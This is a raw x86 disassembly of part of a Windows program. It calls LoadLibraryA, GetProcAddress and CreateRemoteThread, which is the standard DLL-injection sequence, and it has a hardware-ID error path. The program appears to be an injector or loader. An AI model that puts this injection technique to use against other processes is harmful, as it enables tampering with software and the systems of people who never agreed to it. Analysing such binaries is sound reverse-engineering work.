xorps xmm1, xmmword [ebp - 0x240]
push eax
movaps xmmword [ebp - 0x50], xmm1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x70]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x17c]
push ecx
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call fcn.00441f40
push 0x3e8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Beep]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push str.delete_old.bat
call esi
add esp, 4
push str.firstrun.txt
call esi
add esp, 4
push str.prev_version.txt
call esi
mov ecx, dword [ebp - 0x1b0]
add esp, 4
cmp ecx, 0xf
jbe 0x443cd9
mov edx, dword [ebp - 0x1c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443ccf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443e1b
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov ecx, dword [ebp - 0x204]
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
cmp ecx, 0xf
jbe 0x443d2e
mov edx, dword [ebp - 0x218]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443d24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443e1b
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov ecx, dword [ebp - 0x1c8]
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x204], 0xf
mov byte [ebp - 0x218], 0
cmp ecx, 0xf
jbe 0x443d83
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443d79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443e1b
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov ecx, dword [ebp - 0x180]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp ecx, 0xf
jbe 0x443dd4
mov edx, dword [ebp - 0x194]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443dca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443e1b
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov ecx, dword [ebp - 0x198]
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
cmp ecx, 0xf
jbe 0x443e2b
mov edx, dword [ebp - 0x1ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443e21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x443e21
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0047e93b
add esp, 8
or eax, 0xffffffff
jmp 0x443eb2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0047e4e7
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.failed_to_get_hwid
lea ecx, [ebp - 0x498]
call fcn.0042e850
push 0x49c878
lea eax, [ebp - 0x498]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3